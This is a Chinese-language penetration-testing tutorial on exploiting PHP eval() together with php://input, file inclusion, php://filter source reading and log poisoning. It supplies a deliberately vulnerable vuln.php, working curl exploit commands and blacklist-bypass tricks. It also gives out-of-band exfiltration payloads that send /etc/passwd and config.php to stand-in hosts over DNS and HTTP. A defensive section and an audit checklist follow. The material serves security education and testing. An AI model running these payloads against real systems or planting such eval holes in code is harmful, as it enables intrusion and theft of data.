PHP代码执行漏洞深度解析:eval与php://input组合利用实战
1. 从一次真实的渗透测试案例说起当eval遇上php://input那次渗透测试的目标是一个内部使用的CMS后台系统界面平平无奇但在一个不起眼的“模板管理”功能里我发现了一个名为template_parser.php的文件。通过参数污染我尝试访问它并传递了一个actionpreview的参数。页面返回了一个错误但错误信息里赫然出现了eval()的字样。我的心跳瞬间加速——这通常意味着一个潜在的远程代码执行RCE漏洞。然而当我尝试注入最简单的system(‘whoami’);时页面却返回了空白或者一个笼统的“模板解析错误”。显然代码被执行了但输出被“吃掉”了或者我的注入方式被某种方式过滤或拦截了。这就是我们今天要深入探讨的经典场景一个存在eval()函数调用的点但直接的命令执行被阻碍我们需要利用PHP的封装协议特别是php://input来读取服务器上的源代码寻找更多线索并最终实现远程文件包含RFI或更深入的利用。这不仅仅是CTF比赛中的技巧在真实的渗透测试和代码审计中这种组合利用的思路极为常见。理解它不仅能帮你解决眼前的难题更能让你深刻理解PHP代码执行、流封装器的运作机制以及漏洞链的构造逻辑。2. 核心原理深度拆解为什么是eval和php://input要利用一个漏洞首先要理解它为什么存在。eval()和php://input的组合之所以能成为攻击者的利器根植于PHP语言本身的特性。2.1 eval()一把危险的双刃剑eval()函数是PHP中一个极其强大的功能它将其字符串参数作为PHP代码来执行。它的危险之处在于它模糊了“数据”与“代码”的边界。在安全的编程实践中用户输入应该始终被视为“数据”。但一旦用户输入未经充分净化就流入eval()数据就瞬间变成了可执行的“代码”。一个典型的漏洞代码片段可能长这样?php $code $_GET[‘code’]; eval($code); ?或者更隐蔽一些存在于模板引擎、配置解析等场景?php // 假设从数据库或文件读取了模板内容其中包含用户可控的变量替换 $template “Hello, ?php echo $username; ?”; // 某种“动态解析”逻辑错误地使用了eval eval(“?” . $template); ?攻击者只需要向code参数传入phpinfo();就能验证漏洞的存在。但在实际环境中开发者往往会进行一些基础的过滤比如用preg_match过滤掉system、exec、shell_exec等敏感函数名或者过滤空格、分号等特殊字符。这时直接执行系统命令的路径就被堵死了。2.2 php://input访问“原始”输入流的通道当直接命令执行受阻时我们就需要寻找其他输出或利用途径。php://input是一个只读的流它允许你读取原始的POST数据。这里的关键词是“原始”。这意味着当你的HTTP请求的Content-Type设置为application/x-www-form-urlencoded时php://input读取到的就是像namevaluekeydata这样的字符串。但如果你将Content-Type设置为其他类型如text/plain或根本不设置那么php://input读取到的就是HTTP请求体Body中未经解析的原始字节。在攻击中我们利用这个特性将我们希望被eval()执行的PHP代码直接放在POST Body里然后通过一个可控的参数让eval()去读取并执行php://input流中的内容。常见的利用载荷如下GET /vuln.php?codeeval(file_get_contents(‘php://input’)); HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 18 ?php phpinfo();?在这个例子中code参数的值是一段代码eval(file_get_contents(‘php://input’));。服务器端的eval()会执行这段代码而这段代码的作用是读取php://input流的内容即?php phpinfo();?然后再次调用eval()来执行它。这就巧妙地绕过了对code参数本身内容的直接过滤因为攻击载荷phpinfo();并不在GET参数中而是在独立的POST Body里。2.3 漏洞链的串联从代码执行到源代码读取理解了基本利用方式我们来看一个更复杂的场景也是标题中提到的“读取源代码”。假设目标代码片段如下?php $file $_GET[‘file’]; if(isset($file)) { include($file); } ?这是一个典型的文件包含漏洞。如果我们能控制file参数可以尝试包含/etc/passwd等文件。但很多系统会使用str_replace或preg_match过滤../、http://等协议。这时php://filter封装协议就派上用场了。我们可以用php://filter/readconvert.base64-encode/resourceindex.php来以Base64编码的形式读取index.php的源代码从而避免代码被直接执行导致乱码。那么如何将文件包含LFI/RFI和代码执行RCE联系起来呢一个经典的场景是“日志文件注入”。如果我们可以包含Web服务器的访问日志如/var/log/apache2/access.log并且我们能在User-Agent或请求路径中注入PHP代码如?php system($_GET[‘cmd’]);?那么当我们再次通过文件包含漏洞去包含这个日志文件时其中的PHP代码就会被执行从而实现RCE。而eval()与php://input的组合则为这种利用提供了另一种更直接、更隐蔽的途径。如果我们发现一个eval()点但无法直接看到回显我们可以用它来执行一个“写文件”的操作将php://input中的代码写入一个Web目录下的新文件如shell.php然后直接访问这个文件就获得了一个稳定的WebShell。或者我们可以用它来执行一个读取本地文件如配置文件、源代码的操作并将内容通过HTTP请求外带到我们的服务器。3. 实战环境搭建与漏洞复现纸上得来终觉浅绝知此事要躬行。为了彻底理解这个漏洞链我强烈建议你在本地或授权的测试环境中搭建一个靶场。这里我提供一个最简单的、存在漏洞的PHP文件用于测试。环境准备一台安装有PHP的Web服务器如XAMPP、宝塔面板、或Docker运行一个PHP容器。一个文本编辑器。漏洞代码 (vuln.php):?php // vuln.php - 一个存在eval动态代码执行和文件包含漏洞的示例 error_reporting(0); // 关闭错误显示模拟生产环境 // 模拟一个不安全的eval调用可能存在于某些模板解析或配置功能中 if(isset($_GET[‘eval_code’])) { $user_code $_GET[‘eval_code’]; // 这里模拟一个蹩脚的黑名单过滤只过滤了“system”这个词 if(strpos($user_code, ‘system’) false) { eval($user_code); // 危险直接执行用户输入 } else { die(‘Forbidden command!’); } } // 模拟一个不安全的文件包含可能用于加载插件或模块 if(isset($_GET[‘include_file’])) { $file $_GET[‘include_file’]; // 没有进行任何路径或协议过滤 include($file); } echo “h3Test Page/h3”; echo “pEval Test: ?eval_codeecho ‘hello’;/p”; echo “pInclude Test: ?include_filesomefile.txt/p”; ?将这段代码保存到你的Web服务器根目录如/var/www/html/或htdocs下命名为vuln.php。复现步骤1验证基础eval执行访问http://your-test-site/vuln.php?eval_codeecho “Hello RCE”;页面应该会显示“Hello RCE”。这说明eval()点存在且可用。 尝试http://your-test-site/vuln.php?eval_codesystem(‘whoami’);页面应该显示“Forbidden command!”说明我们模拟的黑名单过滤生效了。复现步骤2利用php://input绕过过滤这里我们需要使用一个工具来发送POST请求比如curl或者Burp Suite。以curl为例curl -X POST “http://your-test-site/vuln.php?eval_codeeval(file_get_contents(‘php://input’));” -d “?php echo ‘Bypassed! ‘ . php_sapi_name(); ?”命令拆解-X POST: 指定使用POST方法。?eval_codeeval(file_get_contents(‘php://input’));: GET参数其值是一段PHP代码意思是“执行php://input流中的内容”。-d “?php … ?”:-d参数指定POST数据体Body这里就是我们想要最终执行的PHP代码。执行后如果一切正常你应该在返回结果中看到“Bypassed! cli”或“Bypassed! apache2handler”之类的输出。这证明我们成功绕过了对system等函数名的过滤实现了代码执行。注意在实际攻击中file_get_contents(‘php://input’)也可能被过滤。我们可以尝试使用其他方式读取输入流比如file(‘php://input’)[0]将流读取为数组取第一个元素或者使用stream_get_contents(fopen(‘php://input’, ‘r’))。灵活变通是关键。复现步骤3结合文件包含读取源代码现在我们利用这个RCE来读取服务器上另一个文件的源代码比如同目录下的index.php。 我们可以让eval()执行的代码不是直接输出而是去读取文件。但这里有一个问题直接echo file_get_contents(‘index.php’);可能会因为文件内容包含PHP标签而导致浏览器解析混乱。更好的方法是使用php://filter协议进行编码。我们可以构造一个请求让服务器端的eval()执行读取操作并将结果返回给我们。但更常见的场景是我们可能没有直接的回显。这时我们可以将读取到的源代码写入一个我们稍后能访问的文件或者通过HTTP请求外带数据。这里演示一种有回显的情况假设目标没有严格过滤输出curl -X POST “http://your-test-site/vuln.php?eval_codeeval(file_get_contents(‘php://input’));” -d “?php echo urlencode(file_get_contents(‘index.php’)); ?”或者使用base64编码避免特殊字符传输问题curl -X POST “http://your-test-site/vuln.php?eval_codeeval(file_get_contents(‘php://input’));” -d “?php echo base64_encode(file_get_contents(‘index.php’)); ?”将返回的base64字符串解码就能得到index.php的源代码。通过审计这些源代码我们可能发现数据库配置、其他隐藏参数、新的漏洞点如文件上传、反序列化等从而进一步扩大战果。4. 高级利用技巧与绕过手段在真实的对抗中防御措施会复杂得多。下面我分享一些在实际渗透测试中遇到过的过滤场景及绕过方法。4.1 针对eval参数的过滤与绕过黑名单过滤关键字如过滤system,exec,shell_exec,eval,file_get_contents,php://等。绕过方法大小写变形SyStEm,FILE_GET_CONTENTSPHP函数名不区分大小写。字符串拼接$a’sys’;$b’tem’;$c$a.$b; $c(‘whoami’);。使用异或、取反等编码这是Web安全比赛中常见的高级技巧。例如使用PHP的取反操作符~~’system’会得到system字符串取反后的结果在代码中还原后再执行。这能有效绕过基于字符串匹配的WAF。利用回调函数如array_map,call_user_func等。例如call_user_func(‘system’, ‘whoami’);。如果system被过滤可以尝试passthru,proc_open,popen等。利用反引号执行操作符whoami在PHP中等同于shell_exec(‘whoami’)。过滤空格标题相关热词中提到了“过滤空格”。绕过方法使用TAB键%09system%09(‘whoami’);。使用注释/**/system/**/(‘whoami’);。利用PHP花括号${}在变量中${system}(‘whoami’);这种形式有时可以替代空格。使用重定向符或在Linux命令中catflag.php。但在PHP代码中需要结合命令执行函数。过滤括号()这比较棘手因为函数调用通常需要括号。绕过方法使用echo、print等语言结构可不用括号echo ‘hello’;。利用include/require包含文件如果include的参数可控且允许php://input可以将代码放在POST Body中通过include(‘php://input’)来执行。include在包含非PHP文件时会直接输出内容包含PHP代码时会执行。利用反引号反引号不需要括号。4.2 针对php://input的过滤与绕过直接过滤php://字符串使用其他封装协议data://协议可以直接在URI中携带Base64编码的代码。例如eval(file_get_contents(‘data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8’));。但data://协议可能在allow_url_include为Off时无法使用。expect://需要安装并启用expect扩展极少见。zip://、phar://可用于触发反序列化或包含压缩包内的文件但前提是要能上传文件。使用编码或变形同eval关键字的绕过如大小写、拼接、编码。allow_url_include配置为Off这是PHP的一个安全配置默认关闭。它禁止了include、require等函数包含远程文件或php://input、data://等流。但请注意这个设置不影响file_get_contents()函数读取php://input流这是很多人的一个误区。allow_url_include主要限制的是include/require系列函数。file_get_contents()读取php://input是本地流操作通常不受此限制。因此eval(file_get_contents(‘php://input’));这个利用链在allow_url_includeOff的情况下依然可能成功。4.3 无回显RCE的利用盲注很多时候代码执行了但我们看不到任何输出。这就是“盲RCE”。对于盲RCE我们的目标不再是直接获取命令回显而是证明代码执行并尝试获取数据。时间延迟Time-based Blind通过执行sleep()函数来判断。# 如果执行成功请求会延迟5秒返回 curl -X POST “http://target/vuln.php?codeeval(file_get_contents(‘php://input’));” -d “?php sleep(5); ?”外带数据Out-of-Band, OOB这是最有效的方式。让目标服务器主动连接我们控制的服务器将数据带出来。DNS外带使用dns_get_record()、gethostbyname()等函数将数据作为子域名发送到我们的DNS服务器。?php $data base64_encode(file_get_contents(‘/etc/passwd’)); exec(‘ping -c 1 ‘ . $data . ‘.your-dns-server.com’); ?HTTP外带使用file_get_contents()、curl等发起一个HTTP请求将数据放在URL参数中。?php $data urlencode(file_get_contents(‘config.php’)); file_get_contents(‘http://your-server.com/leak?data’ . $data); ?你需要在自己的公网服务器上监听DNS或HTTP请求来接收数据。5. 防御方案与安全开发建议作为开发者如何避免自己的代码成为攻击者的跳板以下是我总结的几条铁律绝对禁止使用eval()这是最重要的原则。在99.9%的业务场景中都不需要使用eval()。任何需要动态执行代码的功能都应该寻找更安全的替代方案如使用设计良好的模板引擎Twig, Smarty等、回调函数数组、或设计模式如策略模式。谨慎使用动态包含include/require如果必须动态包含文件务必对用户输入进行白名单校验。只允许包含预定义列表内的文件。绝对不要允许用户控制完整的文件路径或协议。// 错误示范 $page $_GET[‘page’]; include($page . ‘.php’); // 正确示范白名单 $allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include($page . ‘.php’); } else { include(‘404.php’); }正确配置PHP环境allow_url_fopen Off禁止通过URL打开远程文件能阻断一部分RFI。allow_url_include Off必须关闭。这是防止远程文件包含的最后一道防线。open_basedir设置PHP可以访问的目录范围将其限制在Web应用必要的目录内可以防止目录遍历攻击。disable_functions在php.ini中禁用高危函数如system,exec,shell_exec,passthru,proc_open,popen,eval,assert等。这是生产环境的标配。严格的输入验证与输出编码对所有用户输入进行验证根据上下文验证数据类型、长度、格式、范围。使用预处理语句Prepared Statements防御SQL注入。对输出到HTML的内容进行HTML实体编码如htmlspecialchars防御XSS。对用于系统命令的参数进行白名单过滤或严格转义如escapeshellarg。使用安全的反序列化如果业务必须使用序列化避免直接反序列化用户数据。可以使用数字签名验证数据完整性或使用JSON等更安全的格式替代PHP原生序列化。代码审计与安全测试在开发流程中引入代码安全审计SAST和动态应用安全测试DAST。使用工具辅助扫描并定期进行渗透测试。6. 从攻击者视角看防御我的排查思路当我以一个防御者或安全审计员的身份审视一个系统时我会怎么查找这类漏洞入口点收集首先我会用爬虫如gospider、katana或代理工具Burp Suite收集所有可能的参数输入点。不仅仅是GET/POST参数还有Cookie、Headers如X-Forwarded-For、文件上传的文件名等。模糊测试Fuzzing对每个参数进行模糊测试。针对疑似代码执行点我的测试载荷会包括基础探测phpinfo()echo md5(‘test’)。协议探测file_get_contents(‘/etc/passwd’)include(‘php://filter/readconvert.base64-encode/resourceindex.php’)。命令执行探测system(‘whoami’)反引号passthru(‘id’)。空格绕过system%09(‘ls’)system/**/(‘ls’)。关键字绕过使用上述提到的拼接、编码、回调函数等方式构造Payload。流量分析在测试php://input时我会特别关注Burp Suite的Repeater模块因为需要构造POST请求。我会将GET参数设置为eval(file_get_contents(‘php://input’));然后在Body中放入真正的Payload。我也会尝试data://协议。上下文分析如果发现一个参数疑似被eval()或include()处理但直接测试失败我会仔细分析页面上下文。查看网页源代码、JavaScript文件、错误信息寻找其他关联参数或隐藏功能。有时漏洞存在于多步流程中或者需要特定的前置条件如特定的Cookie、Referer。盲注探测如果没有任何回显我会立即转向盲注测试。发送sleep(10)的Payload观察响应时间。搭建一个临时的DNSLog或HTTP请求接收平台如ceye.io或自建尝试使用dns_get_record或file_get_contents向外发起请求看是否能收到记录。源代码审计如果可能这是最根本的方法。直接搜索代码库中的eval(、assert(、system(、exec(、shell_exec(、popen(、proc_open(、passthru(、反引号、include(、require(、include_once(、require_once(等危险函数。检查这些函数的参数是否用户可控以及可控参数前后是否有足够的过滤。理解攻击者的思路是为了更好地构建防御。安全是一个持续的过程而非一劳永逸的状态。每一次漏洞的复现和利用都应该加深我们对安全编码和架构设计的理解。希望这篇从实战出发的深度解析能帮助你在面对“RCE eval执行 php://input 读取源代码 远程包含”这类问题时不仅知道如何利用更明白其根源与防御之道。